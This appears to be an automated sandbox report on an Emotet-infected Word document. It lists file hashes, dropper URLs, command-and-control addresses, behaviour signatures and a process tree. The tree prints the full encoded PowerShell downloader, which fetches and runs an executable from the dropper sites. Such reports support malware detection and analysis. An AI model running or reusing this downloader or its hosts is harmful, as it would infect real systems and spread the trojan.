Analysis

  • max time kernel
    134s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    28-07-2020 19:32

General

  • Target

    emotet_e1_0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110_2020-07-28__193236._doc.doc

  • Size

    170KB

  • MD5

    71429e907b8b83ede1a428b5c6500f26

  • SHA1

    4198f614eef3774ede44d76139d8a2219d66900c

  • SHA256

    0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110

  • SHA512

    4acf496996bbfabea4aab9e820fb09f4a3f6ec317cb006d94a1d9eb706d90b3ef8c31b3dd728c2635b793c91bf102c99ba01f38915f67ad64ab125cf29f9fec9

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://megasolucoesti.com/css/8xbi/

exe.dropper

https://matuteroofing.com/j-folder/2ZdI48222/

exe.dropper

http://mediainmedia.com/upload/xtmvg46/

exe.dropper

http://mgregoire.net/cgi-bin/095d075/

exe.dropper

http://www.mobialive.com/onlineshopping/XLccr/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110_2020-07-28__193236._doc.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    PID:3588
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABNAFMASQBYAEMAbAB2AGMAPQAnAE0AVABXAEUAQwBnAHMAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAFUAcgBpAFQAeQBQAFIAYABPAFQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABBAEYASABGAEcAdgBxAGgAIAA9ACAAJwAzADAAMQAnADsAJABDAFMAWABNAEwAdwBqAHoAPQAnAEIARwBKAFUAWgBtAGMAcAAnADsAJABPAFQATABSAEQAdQBmAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEARgBIAEYARwB2AHEAaAArACcALgBlAHgAZQAnADsAJABSAFEAWgBXAEEAYQB0AHcAPQAnAFYAQwBCAE4AVQBuAGgAZQAnADsAJABFAEMAUABSAE8AdQBhAGEAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAEIAQwBMAGkARQBuAHQAOwAkAFUAVwBTAFIAQgB0AGoAZgA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAZwBhAHMAbwBsAHUAYwBvAGUAcwB0AGkALgBjAG8AbQAvAGMAcwBzAC8AOAB4AGIAaQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB0AHUAdABlAHIAbwBvAGYAaQBuAGcALgBjAG8AbQAvAGoALQBmAG8AbABkAGUAcgAvADIAWgBkAEkANAA4ADIAMgAyAC8AKgBoAHQAdABwADoALwAvAG0AZQBkAGkAYQBpAG4AbQBlAGQAaQBhAC4AYwBvAG0ALwB1AHAAbABvAGEAZAAvAHgAdABtAHYAZwA0ADYALwAqAGgAdAB0AHAAOgAvAC8AbQBnAHIAZQBnAG8AaQByAGUALgBuAGUAdAAvAGMAZwBpAC0AYgBpAG4ALwAwADkANQBkADAANwA1AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBvAGIAaQBhAGwAaQB2AGUALgBjAG8AbQAvAG8AbgBsAGkAbgBlAHMAaABvAHAAcABpAG4AZwAvAFgATABjAGMAcgAvACcALgAiAFMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBHAFgAQgBTAG0AdgBhAD0AJwBDAFoAWABTAEEAcgB6AHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEgATgBGAEsARwBrAG8AaQAgAGkAbgAgACQAVQBXAFMAUgBCAHQAagBmACkAewB0AHIAeQB7ACQARQBDAFAAUgBPAHUAYQBhAC4AIgBEAE8AdwBuAGAATABgAE8AQQBEAEYASQBsAEUAIgAoACQASABOAEYASwBHAGsAbwBpACwAIAAkAE8AVABMAFIARAB1AGYAcQApADsAJABKAEcAUwBYAFQAbwB1AG4APQAnAFkATwBNAFYATQB1AGgAbgAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAE8AVABMAFIARAB1AGYAcQApAC4AIgBMAGAARQBuAEcAVABoACIAIAAtAGcAZQAgADIANgA3ADgANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAARQBhAFQARQAiACgAJABPAFQATABSAEQAdQBmAHEAKQA7ACQAUABZAE4AQgBBAG0AcQB3AD0AJwBDAEMASwBOAFkAeAB4AHkAJwA7AGIAcgBlAGEAawA7ACQAUgBOAEkARwBGAHAAdwBsAD0AJwBIAE0AQwBMAE0AaQBlAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBGAFIASwBDAHMAcQBrAD0AJwBPAEEATgBZAFAAdwB1AHcAJwA=
    1⤵
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    PID:3092
  • C:\Users\Admin\301.exe
    C:\Users\Admin\301.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:684
    • C:\Windows\SysWOW64\expsrv\upnpcont.exe
      "C:\Windows\SysWOW64\expsrv\upnpcont.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1468

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\301.exe
  • C:\Users\Admin\301.exe
  • C:\Windows\SysWOW64\expsrv\upnpcont.exe
  • memory/684-9-0x0000000000A10000-0x0000000000A1C000-memory.dmp
    Filesize

    48KB

  • memory/1468-12-0x0000000000580000-0x000000000058C000-memory.dmp
    Filesize

    48KB

  • memory/1468-10-0x0000000000000000-mapping.dmp
  • memory/3588-3-0x000001D670E95000-0x000001D670E9A000-memory.dmp
    Filesize

    20KB

  • memory/3588-6-0x000001D670E90000-0x000001D670E95000-memory.dmp
    Filesize

    20KB

  • memory/3588-5-0x000001D670E90000-0x000001D670E95000-memory.dmp
    Filesize

    20KB

  • memory/3588-4-0x000001D670E90000-0x000001D670E95000-memory.dmp
    Filesize

    20KB

  • memory/3588-0-0x000001D670C4B000-0x000001D670C50000-memory.dmp
    Filesize

    20KB

  • memory/3588-2-0x000001D670E95000-0x000001D670E9A000-memory.dmp
    Filesize

    20KB

  • memory/3588-1-0x000001D670C4B000-0x000001D670C50000-memory.dmp
    Filesize

    20KB